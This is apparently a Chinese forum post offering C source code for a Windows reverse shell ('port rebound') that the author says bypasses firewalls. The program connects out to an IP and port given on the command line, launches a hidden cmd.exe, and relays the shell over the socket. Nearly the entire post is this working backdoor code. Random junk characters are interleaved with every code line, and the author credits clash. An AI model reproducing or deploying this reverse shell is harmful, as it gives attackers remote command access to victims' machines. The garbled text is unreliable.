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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +D :83h{  
[ULwzjss#L  
/* ============================== W|ReLM\  
Rebound port in Windows NT Dd| "iA  
By wind,2006/7 =op`fn%  
===============================*/ WP5VcBC  
#include |d $1wr  
#include *(k%MTG  
EdEoXY-2  
#pragma comment(lib,"wsock32.lib") k/G7.)C  
FZiZg;  
void OutputShell(); E{uf\Fc   
SOCKET sClient; ZB828T3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q[M (Wqg  
ql^g~b  
void main(int argc,char **argv) 0$tjNy e  
{ 9C_*3?6  
WSADATA stWsaData; \e<mSR  
int nRet; Iz#yQ`  
SOCKADDR_IN stSaiClient,stSaiServer; t)9]<pN%  
CoU3S,;*  
if(argc != 3) [-\({<t3x  
{ dFQ o  
printf("Useage:\n\rRebound DestIP DestPort\n"); "K,bH  
return; 7Rnm%8?T  
} f`9JE8  
{O)YwT$`  
WSAStartup(MAKEWORD(2,2),&stWsaData); GuT6K}~|D  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T|ZF/&XP  
n@ 4@,  
stSaiClient.sin_family = AF_INET; XYe~G@Q Z  
stSaiClient.sin_port = htons(0); .`,F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); id^|\hDR  
L\YKdUL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ob E:kNE9  
{ ahA{B1M)n  
printf("Bind Socket Failed!\n"); ;hwzYXWF  
return; Pp+~Cir  
} FEF"\O|Q  
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stSaiServer.sin_family = AF_INET; IU|kNBo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bhD ~ 4Rz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %:3'4;jh%  
g:_hj_1Y M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d ",(a Z  
{ II;Te7~  
printf("Connect Error!"); |O-`5_z$r  
return; CbOCk:,g5  
} 2ev*CX6.  
OutputShell(); */w7?QOv  
} *YtB )6j  
5 6DoO'  
void OutputShell() abi[jxCG  
{ (WRMaI72(  
char szBuff[1024]; vT c7an6fy  
SECURITY_ATTRIBUTES stSecurityAttributes; o@W_ai_  
OSVERSIONINFO stOsversionInfo; R`#W wx>b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2no$+4+z  
STARTUPINFO stStartupInfo; x7dEo%j  
char *szShell; /[ K_ &  
PROCESS_INFORMATION stProcessInformation; zrRFn `B  
unsigned long lBytesRead; j13DJ.xu  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BLn_u,3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S2K#[mDG  
stSecurityAttributes.lpSecurityDescriptor = 0; CqFeF?xd8h  
stSecurityAttributes.bInheritHandle = TRUE; [A5W+pDm  
ez\eOH6  
a460|w6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); icgJ;Q 5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w^q7n  
1%~[rnQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !_~UvxM+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oC*=JJe,  
stStartupInfo.wShowWindow = SW_HIDE; #.._c?%4/  
stStartupInfo.hStdInput = hReadPipe; W:`#% :C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y('k`>C  
vXv;1T  
GetVersionEx(&stOsversionInfo); -*B`]  
'<dgT&8C  
switch(stOsversionInfo.dwPlatformId) 8'#/LA[uPe  
{ -Z0+oU(?YE  
case 1: g/~XCC^F?  
szShell = "command.com"; sOBu7!G%  
break; ZmEEj-*7s  
default: t"vRc4mf  
szShell = "cmd.exe"; DinPxtT?a  
break; ,"\@fwy{  
} ;_O)p,p  
J2VTo: In  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $}GTG'*.  
4J0Rv od_  
send(sClient,szMsg,77,0); a5jL7a?6]  
while(1) k; ZxY"^  
{ hK|j6x f.o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LWfqEL -  
if(lBytesRead) @-&MA)SN  
{ !RW `3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c>:R3^\lwx  
send(sClient,szBuff,lBytesRead,0); Lel|,mc`k2  
} ;30nd=  
else Q~{H@D`<  
{ CW&.NT  
lBytesRead=recv(sClient,szBuff,1024,0); yQNV@T<o  
if(lBytesRead<=0) break; vy9 w$ls  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {)8>jxQN  
} m908jI_So  
} '' O7=\  
aj^wRzJ}zA  
return; sEJC-$   
}
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